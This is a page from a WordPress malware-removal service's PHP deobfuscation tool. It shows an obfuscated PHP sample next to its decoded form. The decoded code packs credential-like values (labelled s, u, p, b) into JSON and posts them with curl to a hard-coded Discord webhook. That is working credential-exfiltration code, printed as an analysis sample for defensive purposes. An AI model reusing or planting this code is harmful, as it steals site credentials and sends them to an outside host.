Japanese English

PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?php $laar_572d4e421e5e6b9bc11d815e8a027112=base64_decode('aHR0cHM6Ly9kaXNjb3JkLmNvbS9hcGkvd2ViaG9va3MvMTE3NDUyNzIwNzY3NTI2OTIxNC8yWmNZRjk3ejhOQ0VQZzA5VEdUU1J1U1QybU1QYTgwOVpmRTZ4VkpsNmF0azdLbU13M21PaDZ4NVZKM1BvZUNCSUJ6VA==');$vgpw_fc13c7d6056bf5cf3ba0f5823a3a175b=json_encode([base64_decode('Y29...



Obfuscated php code

<?php $laar_572d4e421e5e6b9bc11d815e8a027112=base64_decode('aHR0cHM6Ly9kaXNjb3JkLmNvbS9hcGkvd2ViaG9va3MvMTE3NDUyNzIwNzY3NTI2OTIxNC8yWmNZRjk3ejhOQ0VQZzA5VEdUU1J1U1QybU1QYTgwOVpmRTZ4VkpsNmF0azdLbU13M21PaDZ4NVZKM1BvZUNCSUJ6VA==');$vgpw_fc13c7d6056bf5cf3ba0f5823a3a175b=json_encode([base64_decode('Y29udGVudA==')=>base64_decode('czog').$floc_5bd7c9f03dadca201f590c7ba35bb1d8.base64_decode('IHU6IA==').$nwfs_14c4b06b824ec593239362517f538b29.base64_decode('IHA6IA==').$jadx_5f4dcc3b5aa765d61d8327deb882cf99.base64_decode('IGI6IA==').$azqj_4cd4a49f25984e26fe708c1fbd896653,base64_decode('dXNlcm5hbWU=')=>base64_decode('TXlVc2VybmFtZQ=='),],JSON_FORCE_OBJECT);$trxf_d88fc6edf21ea464d35ff76288b84103=curl_init();var_dump($vgpw_fc13c7d6056bf5cf3ba0f5823a3a175b);curl_setopt_array($trxf_d88fc6edf21ea464d35ff76288b84103,[CURLOPT_URL=>$laar_572d4e421e5e6b9bc11d815e8a027112,CURLOPT_POST=>true,CURLOPT_POSTFIELDS=>$vgpw_fc13c7d6056bf5cf3ba0f5823a3a175b,CURLOPT_HTTPHEADER=>[base64_decode('TGVuZ3Ro')=>strlen($vgpw_fc13c7d6056bf5cf3ba0f5823a3a175b),base64_decode('Q29udGVudC1UeXBl')=>base64_decode('YXBwbGljYXRpb24vanNvbg==')]]);$cdgw_d1fc8eaf36937be0c3ba8cfe0a2c1bfe=curl_exec($trxf_d88fc6edf21ea464d35ff76288b84103);curl_close($trxf_d88fc6edf21ea464d35ff76288b84103);?>

Decoded(de-Obfuscated) php code

<?php

$laar_572d4e421e5e6b9bc11d815e8a027112 = "https://discord.com/api/webhooks/1174527207675269214/2ZcYF97z8NCEPg09TGTSRuST2mMPa809ZfE6xVJl6atk7KmMw3mOh6x5VJ3PoeCBIBzT";
$vgpw_fc13c7d6056bf5cf3ba0f5823a3a175b = json_encode(["content" => "s: " . $floc_5bd7c9f03dadca201f590c7ba35bb1d8 . " u: " . $nwfs_14c4b06b824ec593239362517f538b29 . " p: " . $jadx_5f4dcc3b5aa765d61d8327deb882cf99 . " b: " . $azqj_4cd4a49f25984e26fe708c1fbd896653, "username" => "MyUsername"], JSON_FORCE_OBJECT);
$trxf_d88fc6edf21ea464d35ff76288b84103 = curl_init();
var_dump($vgpw_fc13c7d6056bf5cf3ba0f5823a3a175b);
curl_setopt_array($trxf_d88fc6edf21ea464d35ff76288b84103, [CURLOPT_URL => $laar_572d4e421e5e6b9bc11d815e8a027112, CURLOPT_POST => true, CURLOPT_POSTFIELDS => $vgpw_fc13c7d6056bf5cf3ba0f5823a3a175b, CURLOPT_HTTPHEADER => ["Length" => strlen($vgpw_fc13c7d6056bf5cf3ba0f5823a3a175b), "Content-Type" => "application/json"]]);
$cdgw_d1fc8eaf36937be0c3ba8cfe0a2c1bfe = curl_exec($trxf_d88fc6edf21ea464d35ff76288b84103);
curl_close($trxf_d88fc6edf21ea464d35ff76288b84103);

Malware detection & removal plugin for WordPress

（C）2020 Wordpress Doctor All rights reserved.